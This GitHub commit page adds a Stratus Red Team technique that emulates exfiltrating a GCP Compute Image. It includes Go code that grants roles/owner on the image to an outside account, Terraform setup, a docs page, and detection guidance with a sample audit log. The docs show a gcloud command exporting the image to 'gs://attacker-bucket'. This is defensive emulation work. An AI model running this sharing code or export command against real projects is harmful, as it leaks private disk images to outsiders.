-
Notifications
You must be signed in to change notification settings - Fork 215
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(GCP): Exfiltrates a Compute Image by sharing it (#440)
* wip * feat(GCP): Exfiltrates a Compute Image by sharing it * fixup! feat(GCP): Exfiltrates a Compute Image by sharing it * fixup! fixup! feat(GCP): Exfiltrates a Compute Image by sharing it
- Loading branch information
Showing
7 changed files
with
320 additions
and
0 deletions.
There are no files selected for viewing
99 changes: 99 additions & 0 deletions
99
docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
--- | ||
title: Exfiltrate Compute Image by sharing it | ||
--- | ||
|
||
# Exfiltrate Compute Image by sharing it | ||
|
||
<span class="smallcaps w3-badge w3-orange w3-round w3-text-sand" title="This attack technique might be slow to warm up or detonate">slow</span> | ||
<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span> | ||
|
||
Platform: GCP | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Exfiltration | ||
|
||
## Description | ||
|
||
|
||
Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project. | ||
|
||
<span style="font-variant: small-caps;">Warm-up</span>: | ||
|
||
- Create a Compute Image | ||
|
||
<span style="font-variant: small-caps;">Detonation</span>: | ||
|
||
- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project | ||
|
||
!!! note | ||
|
||
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to [email protected] by default. | ||
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
this behavior by setting the environment variable <code>STRATUS_RED_TEAM_ATTACKER_EMAIL</code>, for instance: | ||
|
||
```bash | ||
export STRATUS_RED_TEAM_ATTACKER_EMAIL="[email protected]" | ||
stratus detonate gcp.exfiltration.share-compute-image | ||
``` | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate gcp.exfiltration.share-compute-image | ||
``` | ||
## Detection | ||
|
||
|
||
You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event <code>v1.compute.images.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
|
||
```json hl_lines="18 20 25"" | ||
{ | ||
"protoPayload": { | ||
"@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
"authenticationInfo": { | ||
"principalEmail": "[email protected]", | ||
"principalSubject": "user:[email protected]" | ||
}, | ||
"requestMetadata": { | ||
"callerIp": "34.33.32.31", | ||
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
}, | ||
"resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image", | ||
"request": { | ||
"policy": { | ||
"version": "3", | ||
"bindings": [ | ||
{ | ||
"role": "roles/owner", | ||
"members": [ | ||
"user:[email protected]" | ||
] | ||
} | ||
] | ||
}, | ||
"@type": "type.googleapis.com/compute.images.setIamPolicy" | ||
} | ||
} | ||
} | ||
``` | ||
|
||
After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using: | ||
|
||
```bash | ||
gcloud compute images export \ | ||
--destination-uri gs://attacker-bucket/victim-image \ | ||
--image stratus-red-team-victim-image | ||
``` | ||
|
||
Based on this event, detection strategies may include: | ||
|
||
- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
|
||
```sql | ||
protoPayload.methodName="v1.compute.images.setIamPolicy" | ||
``` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
182 changes: 182 additions & 0 deletions
182
v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,182 @@ | ||
package gcp | ||
|
||
import ( | ||
compute "cloud.google.com/go/compute/apiv1" | ||
"context" | ||
computepb "google.golang.org/genproto/googleapis/cloud/compute/v1" | ||
"log" | ||
|
||
_ "embed" | ||
"fmt" | ||
"github.com/datadog/stratus-red-team/v2/internal/providers" | ||
gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
) | ||
|
||
//go:embed main.tf | ||
var tf []byte | ||
|
||
const codeBlock = "```" | ||
const AttackTechniqueId = "gcp.exfiltration.share-compute-image" | ||
|
||
func init() { | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: AttackTechniqueId, | ||
FriendlyName: "Exfiltrate Compute Image by sharing it", | ||
IsSlow: true, | ||
Description: ` | ||
Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project. | ||
Warm-up: | ||
- Create a Compute Image | ||
Detonation: | ||
- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project | ||
!!! note | ||
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. | ||
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override | ||
this behavior by setting the environment variable <code>` + gcp_utils.AttackerEmailEnvVarKey + `</code>, for instance: | ||
` + codeBlock + `bash | ||
export ` + gcp_utils.AttackerEmailEnvVarKey + `="[email protected]" | ||
stratus detonate ` + AttackTechniqueId + ` | ||
` + codeBlock + ` | ||
`, | ||
Detection: ` | ||
You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event <code>v1.compute.images.setIamPolicy</code>. Here's a sample event, shortened for clarity: | ||
` + codeBlock + `json hl_lines="18 20 25"" | ||
{ | ||
"protoPayload": { | ||
"@type": "type.googleapis.com/google.cloud.audit.AuditLog", | ||
"authenticationInfo": { | ||
"principalEmail": "[email protected]", | ||
"principalSubject": "user:[email protected]" | ||
}, | ||
"requestMetadata": { | ||
"callerIp": "34.33.32.31", | ||
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." | ||
}, | ||
"resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image", | ||
"request": { | ||
"policy": { | ||
"version": "3", | ||
"bindings": [ | ||
{ | ||
"role": "roles/owner", | ||
"members": [ | ||
"user:[email protected]" | ||
] | ||
} | ||
] | ||
}, | ||
"@type": "type.googleapis.com/compute.images.setIamPolicy" | ||
} | ||
} | ||
} | ||
` + codeBlock + ` | ||
After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using: | ||
` + codeBlock + `bash | ||
gcloud compute images export \ | ||
--destination-uri gs://attacker-bucket/victim-image \ | ||
--image stratus-red-team-victim-image | ||
` + codeBlock + ` | ||
Based on this event, detection strategies may include: | ||
- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: | ||
` + codeBlock + `sql | ||
protoPayload.methodName="v1.compute.images.setIamPolicy" | ||
` + codeBlock + ` | ||
`, | ||
Platform: stratus.GCP, | ||
IsIdempotent: true, | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration}, | ||
Detonate: detonate, | ||
Revert: revert, | ||
PrerequisitesTerraformCode: tf, | ||
}) | ||
} | ||
|
||
func detonate(params map[string]string, providers stratus.CloudProviders) error { | ||
gcp := providers.GCP() | ||
imageName := params["image_name"] | ||
attackerPrincipal := gcp_utils.GetAttackerPrincipal() | ||
|
||
log.Println("Exfiltrating " + imageName + " by sharing it with a fictitious attacker") | ||
err := shareImage(context.Background(), gcp, imageName, attackerPrincipal) | ||
if err != nil { | ||
return fmt.Errorf("failed to share image: %w", err) | ||
} | ||
log.Println("Successfully shared image with a fictitious attacker account " + attackerPrincipal) | ||
return nil | ||
} | ||
|
||
func revert(params map[string]string, providers stratus.CloudProviders) error { | ||
gcp := providers.GCP() | ||
imageName := params["image_name"] | ||
|
||
log.Println("Unsharing " + imageName) | ||
if err := unshareImage(context.Background(), gcp, imageName); err != nil { | ||
return fmt.Errorf("unable to unshare image: %w", err) | ||
} | ||
log.Println("Successfully unshared the image - it is now private again") | ||
return nil | ||
} | ||
|
||
func shareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string, targetPrincipal string) error { | ||
imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options()) | ||
if err != nil { | ||
return fmt.Errorf("unable to create compute client: %w", err) | ||
} | ||
|
||
roleName := "roles/owner" | ||
|
||
_, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{ | ||
Resource: imageName, | ||
Project: gcp.GetProjectId(), | ||
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
Policy: &computepb.Policy{ | ||
Bindings: []*computepb.Binding{ | ||
{ | ||
Members: []string{targetPrincipal}, | ||
Role: &roleName, | ||
}, | ||
}, | ||
}, | ||
}, | ||
}) | ||
if err != nil { | ||
return fmt.Errorf("unable to set iam policy: %w", err) | ||
} | ||
return nil | ||
} | ||
|
||
func unshareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string) error { | ||
imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options()) | ||
if err != nil { | ||
return fmt.Errorf("unable to create compute client: %w", err) | ||
} | ||
|
||
_, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{ | ||
Resource: imageName, | ||
Project: gcp.GetProjectId(), | ||
GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ | ||
Policy: &computepb.Policy{ | ||
Bindings: []*computepb.Binding{}, | ||
}, | ||
}, | ||
}) | ||
if err != nil { | ||
return fmt.Errorf("unable to set iam policy: %w", err) | ||
} | ||
return nil | ||
} |
28 changes: 28 additions & 0 deletions
28
v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.tf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
terraform { | ||
required_providers { | ||
google = { | ||
source = "hashicorp/google" | ||
version = "~> 4.28.0" | ||
} | ||
} | ||
} | ||
|
||
locals { | ||
image-name = "stratus-red-team-victim-image" | ||
} | ||
|
||
resource "google_compute_image" "this" { | ||
name = local.image-name | ||
|
||
raw_disk { | ||
source = "https://storage.googleapis.com/bosh-gce-raw-stemcells/bosh-stemcell-97.98-google-kvm-ubuntu-xenial-go_agent-raw-1557960142.tar.gz" | ||
} | ||
} | ||
|
||
output "image_name" { | ||
value = google_compute_image.this.name | ||
} | ||
|
||
output "display" { | ||
value = format("Compute image %s is ready", google_compute_image.this.name) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters